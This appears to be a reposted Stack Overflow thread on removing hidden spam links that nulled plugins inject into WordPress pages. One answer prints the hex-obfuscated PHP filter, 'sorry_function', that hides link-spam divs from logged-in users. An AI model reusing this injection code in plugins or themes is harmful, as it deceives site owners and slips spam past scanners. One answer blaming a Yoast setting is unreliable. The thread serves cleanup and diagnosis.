Malicious text appears in all pages and posts. How do I get rid of it?

Yesterday I had installed several outdated plugins (my bad) in order to make my buddypress registration page display “the terms and conditions” checkbox and since then all the pages and posts started displaying some unwanted text at the start and bottom.
I have removed all those plugins but still I’m getting the message. I tried several malware scanners like wordfence, sucuri, etc but everything says my website is clean. I'm out of options now. Please help me get rid of it from my site.

At the page start this code appears:

<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>`

Before the end of the page this code appears:

<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div>

As you can see, because of the left:-9999px; in the above code the text isn't visible normally but it can see been in search engine results and social shares.

the problem is due to a plugin downloaded from dlwordpress.com. The code is generally added to some main file of the plugin itself and is masked by a hexadecimal code. this is the code:

if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
    $vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
    $zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
    $fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
    add_filter('the_content', 'sorry_function');}

remove the plug or remove this part of code in any php files where there is

Cristian Fernando

First search with sudo grep -r sorry_function * from console and get the name of thefile. After that delete sorry_function() using a ftp client

Its getting from the Yoast SEO plugin, Plase follow the this step to remove this. Yoast SEO > Social > Twitter and disabled the meta description.

Akash K.

If you're not using a custom theme, try to remove current theme (after taking backup) and reinstall it from original source. The plugin might've added the code in your theme templates.

this code is appear because you use of null plugin, simply insert the bellow code to the custom.css in your template:

div[style="position:absolute;top:0;left:-9999px;"]{
display: none !important;
}

来源：https://stackoverflow.com/questions/42901355/malicious-text-appears-in-all-pages-and-posts-how-do-i-get-rid-of-it

标签

wordpress

malware